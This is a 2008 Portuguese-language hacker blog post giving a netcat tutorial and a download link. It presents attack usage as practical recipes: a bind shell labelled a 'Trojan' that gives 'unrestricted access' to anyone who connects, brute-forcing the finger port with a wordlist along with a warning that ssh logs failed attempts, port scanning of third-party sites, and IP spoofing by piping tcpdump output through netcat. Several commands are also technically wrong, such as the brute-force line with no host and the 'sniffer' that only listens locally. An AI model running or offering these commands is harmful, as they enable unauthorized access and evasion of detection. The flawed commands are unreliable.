NetCat
Autor: hacker | Publicado: 2008-02-11T16:03:00-08:00

ola glera... desculpe a ausencia... vi que me pediram o NetCat e to aki postando ele....ta ai..... o tutorial e logo abaixo o link do download do NetCatTutorialpara começar $ nc -h-e "comando" .:[ Executa o comando especificado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente estará presente se o nc for compilado com a opção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizem programas para qualquer um conectado a rede. ]:.-i .:[ Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou recebidas. ]:.-l .:[ Coloca no netcat em estado de escuta (listening) ]:.-L .:[Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexão feche ]:.-n .:[ Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores DNS; ]:.-o "filename" .:[ Usando para obter um log dos dados de entrada ou saída, em formato hexadecimal; ]:.-p .:[ Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilégio; ]:.-r .:[ Faz as portas do portscan serem escolhidas aleatóriamente; ]:.-s .:[ Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado; ]:.-t .:[ Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a opção -DTELNET; ]:.-u .:[ Usar UDP ao invés de TCP ]:.-v .:[ Controla o nível de mensagens mostradas na tela; ]:.-w .:[ Limita o tempo máximo para que uma conexão seja estabelecida; ]:.-z .:[ Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma conexão UDP. ]:. É muito importante lembrar que comandos e sintaxes do Linux podem ser misturadas, assim como a utilização de pipes( ), <, > e >>.Veremos agora, a versatilidade e utilização dos comandos em ação, ou seja a mão na massa:1- Conectando-se a um hostÉ feita da mesma maneira que o telnet. É especificado apenas um host e a porta a se conectar.Exemplos:$ nc mail.yahoo.com.br 110$ nc www.uol.com.br 80Lembrando que a porta 110 é dos servidores de POP3 e a 80 é de servidores web.2- Abrindo uma porta (listenning)É utilizada a sintaxe -l para colocar em listenning e -vv para retornar eco com detalhes.A seguir é estipulada a porta:$ nc -l -p 53 -vvSerá retornada uma mensagem: "listenning on [any] 53 ... " 3- Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos os dados recebidos para um arquivo. Colocando-se um timeout, o servidor irá perceber quando não existem mais dados chegando e irá fechar a conexão.No lado cliente da conexão, simplesmente conecta-se à porta do servidor e passa-se o arquivo a ser tranferido como entrada. Servidor:$ nc -vvn -l -p 3000 -w 30 > fileListening on any address 3000Cliente:$ nc -vvn -w 2 10.0.0.1 3000 <>O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida:Connection from 10.0.0.1:1028Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar:Exiting.Total received bytes: 6Total sent bytes: 0Enquanto que o cliente mostrará:Total received bytes: 0Total sent bytes: 6 4- Escaneando portasSerá feita uma tentativa de conexão à um IP ou host e será estipulada as portas da tentativa de conexão:$ nc -vv www.qualquer_site.com.br 110 80 139$ nc -vv www.qualquer_site.com.br 1-10000No primeiro exemplo serão escaneadas apenas as portas 110 (POP3), 80 (web) e 139 (compartilhamento do Windows). Já no segundo exemplo serão escaneadas desde a porta 1 até a 10000. (range port de 1-10000)5- Abrindo a porta, dando acesso a uma "shell" .:[ Trojan ]:.Será colocada a porta X em listenning, redirecionaremos a saída de dados para um shell (/bin/bash). Assim quando alguém se conectar a essa porta terá domínio total sobre o computador. Funciona de forma semelhante a um trojan.$ nc -l -e /bin/bash -p 2332Nesse caso acima quem se conectar à máquina na porta 2332 terá acesso irrestrito nela.6- Usando como brute-forceComando:$ nc -vv 79 < ~/wordlists.txt > bruteforce_OK.logNote que conectaremos a porta do FINGER(79) e redirecionaremos o conteúdo do arquivo wordlists.txt para essa porta. Quando algum resultado for válido ele será salvo em bruteforce.log para uma análise posterior dos resultados.Lembrem-se, ssh ele dropa e faz LOG das conexões após três tentativas de conexão. Então muito cuidado ao usar o brute force.7- Fazendo um snifferAlém de tudo isto demonstrado acima, o Netcat ainda pode capturar todo o tráfego de uma rede. Iremos nos conectar a uma porta e mandar o netcat "dar eco" nela, ou seja, exibir TUDO o que passa por ela. Após isso, é só redirecionar tudo o que o Netcat gravou para um arquivo.Veja o comando, para melhor compreensão:$ nc -vv -L 127.0.0.1 -p 80 > ~/sniffing.logNesse caso todos os dados que passarem pela porta 80 da sua máquina (127.0.0.1) será gravado no arquivo sniffing.log8 - IP SpoofingUsando o netcat, você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP.O comando deverá ser tipo: $ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de rede: $ ifconfig eth0:N spoofed_ipLink para download:download(versão para Windows)